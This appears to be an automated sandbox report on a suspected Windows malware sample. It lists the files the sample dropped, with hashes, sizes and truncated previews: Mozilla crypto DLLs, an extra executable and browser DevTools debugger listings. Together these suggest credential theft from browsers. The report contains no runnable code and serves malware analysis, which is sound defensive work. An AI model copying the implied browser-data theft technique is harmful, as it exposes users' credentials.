Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".o.5.S.r.m.i.p.g.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.u.c.0.E.d.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389342387286651
Encrypted:	false
SSDEEP:	96:6NnQaHQLNnQkbQUNnQc9Q8NnQNc0dgEQNQNnQ0QLNnQwDQENnQowQ5NnQ2O3QE:6NkNRNZNEbN4N1fNXFNm
MD5:	5CB2AAC0FD2D5F543B1472DC341F43C6
SHA1:	98297F61B5E8B568CAC2B5B2B752EC89E64FDD86
SHA-256:	5B31E8408BC553E3E5BEB562B1B64B474D493DDF445CCA061DD336559A22B6E6
SHA-512:	C0401A071312EE18553BB4C2E236E644A278C2E6167D77CAC0469F1628AE724A86B95FA92EFBFDF4FFFC2E648F5F2F04F93B6AE8EE5FB6DF857C32611AE7D92A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BE9055728AA9DD52626633D2222284C6",.. "id": "BE9055728AA9DD52626633D2222284C6",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BE9055728AA9DD52626633D2222284C6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/102D3E7D76952BCACDF88505149BBF21",.. "id": "102D3E7D76952BCACDF88505149BBF21",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/102D3E7D76952BCACDF88505149BBF21"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3679867472715825
Encrypted:	false
SSDEEP:	48:SfNaoQAvNv8TEQAvYfNaoQQQxfNaoQBQWfNaoQUF0UrU0U8QD:6NnQAvNv8TEQAvkNnQQQNNnQBQ+NnQgM
MD5:	EAF67CA4EB63022EFC89CE3B1CE7DF08
SHA1:	221992FB01D6305EF6CD6AEF46CFEA883D269100
SHA-256:	435060B0EA427B695D73338D74A4BC829D72DF8C66CFF240CDDA8C2ED3F42E2D
SHA-512:	95E716BB361F28E83A30CC3BF13385E631556311AC50A90F8A33D42E38ECCC64F13ED814BF5E915F26E081250A0BF0D972FE580BF2DC07B1601A4ECA96CF0B7B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F8B0F1DDBEE88138806F9D96DEF28929",.. "id": "F8B0F1DDBEE88138806F9D96DEF28929",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F8B0F1DDBEE88138806F9D96DEF28929"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D7B0BBB7530D85319BE5853A30F59A89",.. "id": "D7B0BBB7530D85319BE5853A30F59A89",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D7B0BBB7530D85319BE5853A30F59A89"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	3.957336118439701
Encrypted:	false
SSDEEP:	48:jI7xnnmYD0Qzuk/x8KBx7eIKUAoW6kNl9o/Ww85kVRfRo5rGx5V:KnnmGru2TBcVTL9oL8uVR5o565V
MD5:	C61620E4B254A2B3F92F7CBA10C65E4F
SHA1:	B73599F2457B42A38589A2D73D1F06EBFE56C441
SHA-256:	94F9C11A9AD79B9E0E58B506EFA0431E48BAE3DAA347804D9B184AB4A580AB39
SHA-512:	EB79622980E0C79C57B82BEE6E3D1443561DCC02197817F1432535B17CAD7D984C0845CDDF55FCB5AE7E4B8EAE4CB8052DCDD59EBF891E71727FC2C6D93E30ED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK......c....@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...xtasyykt.....@1.....................@...gzyjpbij......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5a92577b-4716-4cdf-9784-fcb90090e7a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\60c0f0ed-63ce-471b-9013-69be1add9af7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\8ace47e5-e8da-40f4-aea6-097bb9ab9a8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\92247d50-24e7-4d28-bc72-95eefb7e25ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\aa994147-10b6-464b-af04-26ab71b84a38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	337242
Entropy (8bit):	7.959035365404173
Encrypted:	false
SSDEEP:	6144:d5M6xLTOzxmsLGFj4Xwz+aASlmhxL4MSZ5fPl9YMMX6QLsBiU9b:d5M6dTOzo2X5Sox1U5l9YhqQq
MD5:	D9043FFE2E5B0EBE11DF14F794B882A8
SHA1:	53B80DCE84D1C9469BA1E269CD1D11F76CDFC6E9
SHA-256:	B092230F1CE763F3DB4599742FDFEEA38150F6F02F3943CB7E3C637DD946999F
SHA-512:	B2EAEED74A9DB8118AF2CD9C907739C4A6AF6B33541EB52E254030570BD24FA25ED696036D45BEE2EE2D888F87DA530A81BFF4FE9023EF1ADADBB50F83DC1300
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b75a62fc-b0e7-2542-abb1-0cf1051812b8" xmpMM:DocumentID="xmp.did:C653DEED17A311EA8B5BD5250E05F029" xmpMM:InstanceID="xmp.iid:C653DEEC17A311EA8B5BD5250E05F029" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39d3d013-cb07-b94a-9afe-3e232046b219" stRef:documentID="adobe:docid:photoshop:2052e8c3-076c-2b43-8d50-84f2df243b9c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................O..............

C:\Users\user\AppData\Local\Temp\b0539d13-3ba4-4399-9fbc-da0ec55b29d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.42493798529858
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrQ:8e2Fa116uCntc5toY7HM
MD5:	739E975329D64AC28008504C733600F5
SHA1:	A470F5D87C3F52E5020AEB4283B83E7814D3902F
SHA-256:	E36943F660ABD4582CEC6534B27611491AB1CAF4DA5AD1100C191EDB2FB8D7A4
SHA-512:	51DDEB4A509FCE28A5A0D54930B10D7BA379E55226F3B20336691FC294835F8CC465B081D8F366DA888F5772612A46394C0927EAD723BA9340F57F4FFE65F2BA
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\ff8f9b79-a427-4f20-8477-86c1a03cfd9d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
